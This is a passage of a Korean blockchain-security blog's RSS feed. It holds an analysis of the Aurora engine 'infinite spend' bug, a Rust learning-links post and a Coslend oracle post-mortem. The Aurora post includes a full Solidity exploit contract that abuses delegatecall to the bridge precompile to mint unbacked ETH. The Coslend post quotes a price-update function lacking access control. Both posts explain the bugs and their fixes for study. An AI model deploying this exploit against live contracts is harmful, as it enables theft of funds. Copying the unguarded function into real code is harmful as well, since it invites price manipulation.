&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 아래와 같은 공격 Contract가 수행 가능하게 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1656836331950&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    // SPDX-License-Identifier: GPL-3.0

    pragma solidity ^0.8.6;

    contract Exploit {
        address payable private owner;

        constructor() {
            owner = payable(msg.sender);
        }

        function exploit(bytes memory recipient) public payable {
            require(msg.sender == owner);

            bytes memory input = abi.encodePacked(&quot;\x00&quot;, recipient);
            uint input_size = 1 + recipient.length;

            assembly {
                let res := delegatecall(gas(), 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f, add(input, 32), input_size, 0, 32)
            }

            owner.transfer(msg.value);
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 주소에서 Exploit Contract에 x Ether만큼 전송하고 exploit 함수를 호출한다고 생각해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래의 delegatecall을 통해 호출될 때의 상황을 생각해보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;msg.value = x, msg.sender = 내 주소, recipient = 내 주소 입력 이 되게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;aurora engine에서는 bridge에 msg.value만큼 Eth가 전송되었다고 착각하여 앞서 설명한 프로세스를 수행하게 되고, 결과적으로 recipient(내 주소)에 x Eth를 전송하게 된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론적으로 내 주소에는 x Eth만큼의 자산이 추가되게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;취약점 수정&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 취약점은 앞서 staticcall을 금지한것처럼 delegatecall 호출을 금지함으로서 취약점이 수정되었다.&lt;/p&gt;
&lt;pre id=&quot;code_1656836865734&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;        // It's not allowed to call exit precompiles in static mode
        if is_static {
            return Err(ExitError::Other(Cow::from(&quot;ERR_INVALID_IN_STATIC&quot;)));
        } else if context.address != Self::ADDRESS.raw() {
            return Err(ExitError::Other(Cow::from(&quot;ERR_INVALID_IN_DELEGATE&quot;)));
        }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://medium.com/immunefi/aurora-infinite-spend-bugfix-review-6m-payout-e635d24273d&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://medium.com/immunefi/aurora-infinite-spend-bugfix-review-6m-payout-e635d24273d&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/aurora-is-near/aurora-engine&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/aurora-is-near/aurora-engine&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://aurora.dev/blog/aurora-mitigates-its-inflation-vulnerability&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://aurora.dev/blog/aurora-mitigates-its-inflation-vulnerability&lt;/a&gt;&lt;/p&gt;</description>
      <category>vulnerability analysis</category>
      <category>Aurora</category>
      <category>Blockchain</category>
      <category>defi bugfix</category>
      <category>defi hacking</category>
      <category>rust</category>
      <author>mcdood1e</author>
      <guid isPermaLink="true">https://timmy-blockchain.tistory.com/3</guid>
      <comments>https://timmy-blockchain.tistory.com/3#entry3comment</comments>
      <pubDate>Sun, 3 Jul 2022 17:28:29 +0900</pubDate>
    </item>
    <item>
      <title>Rust 기본 참고사이트</title>
      <link>https://timmy-blockchain.tistory.com/2</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://rinthel.github.io/rust-lang-book-ko/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://rinthel.github.io/rust-lang-book-ko/&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1656565733219&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;들어가기 앞서 - The Rust Programming Language&quot; data-og-description=&quot;항상 그렇게 명확지는 않았지만, 러스트 프로그래밍 언어는 근본적으로 권한 분산에 관한 것입니다: 여러분이 어떠한 종류의 코드를 작성하는 중이던 간에, 러스트는 여러분에게 더 멀리 뻗어&quot; data-og-host=&quot;rinthel.github.io&quot; data-og-source-url=&quot;https://rinthel.github.io/rust-lang-book-ko/&quot; data-og-url=&quot;https://rinthel.github.io/rust-lang-book-ko/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://rinthel.github.io/rust-lang-book-ko/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://rinthel.github.io/rust-lang-book-ko/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;들어가기 앞서 - The Rust Programming Language&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;항상 그렇게 명확지는 않았지만, 러스트 프로그래밍 언어는 근본적으로 권한 분산에 관한 것입니다: 여러분이 어떠한 종류의 코드를 작성하는 중이던 간에, 러스트는 여러분에게 더 멀리 뻗어&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;rinthel.github.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한글판&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.rust-lang.org/learn&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.rust-lang.org/learn&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1656565789989&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Learn Rust&quot; data-og-description=&quot;A language empowering everyone to build reliable and efficient software.&quot; data-og-host=&quot;www.rust-lang.org&quot; data-og-source-url=&quot;https://www.rust-lang.org/learn&quot; data-og-url=&quot;https://www.rust-lang.org/learn&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/sFhVu/hyOW2M6UZf/MVbHevGsls4Bu1fQf3Y7AK/img.jpg?width=1024&amp;amp;height=1024&amp;amp;face=0_0_1024_1024&quot;&gt;&lt;a href=&quot;https://www.rust-lang.org/learn&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.rust-lang.org/learn&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/sFhVu/hyOW2M6UZf/MVbHevGsls4Bu1fQf3Y7AK/img.jpg?width=1024&amp;amp;height=1024&amp;amp;face=0_0_1024_1024');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Learn Rust&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;A language empowering everyone to build reliable and efficient software.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.rust-lang.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;영문판&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://web.mit.edu/rust-lang_v1.25/arch/amd64_ubuntu1404/share/doc/rust/html/book/first-edition/README.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://web.mit.edu/rust-lang_v1.25/arch/amd64_ubuntu1404/share/doc/rust/html/book/first-edition/README.html&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1656614581358&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Introduction - The Rust Programming Language&quot; data-og-description=&quot;Welcome! This book will teach you about the Rust Programming Language. Rust is a systems programming language focused on three goals: safety, speed, and concurrency. It maintains these goals without having a garbage collector, making it a useful language f&quot; data-og-host=&quot;web.mit.edu&quot; data-og-source-url=&quot;https://web.mit.edu/rust-lang_v1.25/arch/amd64_ubuntu1404/share/doc/rust/html/book/first-edition/README.html&quot; data-og-url=&quot;https://web.mit.edu/rust-lang_v1.25/arch/amd64_ubuntu1404/share/doc/rust/html/book/first-edition/README.html&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://web.mit.edu/rust-lang_v1.25/arch/amd64_ubuntu1404/share/doc/rust/html/book/first-edition/README.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://web.mit.edu/rust-lang_v1.25/arch/amd64_ubuntu1404/share/doc/rust/html/book/first-edition/README.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Introduction - The Rust Programming Language&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Welcome! This book will teach you about the Rust Programming Language. Rust is a systems programming language focused on three goals: safety, speed, and concurrency. It maintains these goals without having a garbage collector, making it a useful language f&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;web.mit.edu&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>rust blockchain</category>
      <category>Blockchain</category>
      <category>DEFI</category>
      <category>rust</category>
      <author>mcdood1e</author>
      <guid isPermaLink="true">https://timmy-blockchain.tistory.com/2</guid>
      <comments>https://timmy-blockchain.tistory.com/2#entry2comment</comments>
      <pubDate>Thu, 30 Jun 2022 14:10:49 +0900</pubDate>
    </item>
    <item>
      <title>Post-Mortem &amp;mdash; Coslend PriceOracleV1 Contract Vulnerability</title>
      <link>https://timmy-blockchain.tistory.com/1</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;대상 : Coslend&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1400&quot; data-origin-height=&quot;787&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EZuaL/btrFYGBcEv0/xFfjhAUEfD0vRWI420VLmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EZuaL/btrFYGBcEv0/xFfjhAUEfD0vRWI420VLmk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EZuaL/btrFYGBcEv0/xFfjhAUEfD0vRWI420VLmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEZuaL%2FbtrFYGBcEv0%2FxFfjhAUEfD0vRWI420VLmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;472&quot; height=&quot;265&quot; data-origin-width=&quot;1400&quot; data-origin-height=&quot;787&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시기 : 2022. 06. 29&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;탈취당한 크기:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #292929;&quot;&gt;~64,305.596 USDC&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #292929;&quot;&gt;~9,604.913 USDT&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #292929;&quot;&gt;~1,826.745 FRAX&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #292929;&quot;&gt;~14.2980 WETH&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약코드 : CoslendPrice.sol&lt;/p&gt;
&lt;pre id=&quot;code_1656437652345&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    function updateSource(address marketToken,uint index,address source,string memory sourceType,bool available) public {
        TokenConfig storage tokenConfig = tokenConfigs[marketToken];
        PriceOracle storage priceOracle = tokenConfig.oracles[index];
        priceOracle.source =source;
        priceOracle.available = available;
        priceOracle.sourceType = sourceType;

    }
    // 출처 : https://github.com/coslendteam/coslend-contracts/blob/main/contracts/oracle/CoslendPriceOracleV1.sol&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가격을 갱신하는 함수에 onlyOwner modifier를 붙여주지 않아 attacker가 쉽게 가격 조정 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점 수정 : onlyOwner 추가, github 소스코드나 docs에서는 수정이 없으나, 자체적으로 수정했다고 알림.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고자료&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://medium.com/@coslend/post-mortem-coslend-priceoraclev1-contract-vulnerability-d5301c4c4395&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://medium.com/@coslend/post-mortem-coslend-priceoraclev1-contract-vulnerability-d5301c4c4395&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>hacking event analysis</category>
      <category>Blockchain</category>
      <category>blockchain hacking</category>
      <category>coslend</category>
      <category>DEFI</category>
      <category>defi hacking</category>
      <author>mcdood1e</author>
      <guid isPermaLink="true">https://timmy-blockchain.tistory.com/1</guid>
      <comments>https://timmy-blockchain.tistory.com/1#entry1comment</comments>
      <pubDate>Wed, 29 Jun 2022 02:39:52 +0900</pubDate>
    </item>
  </channel>
</rss>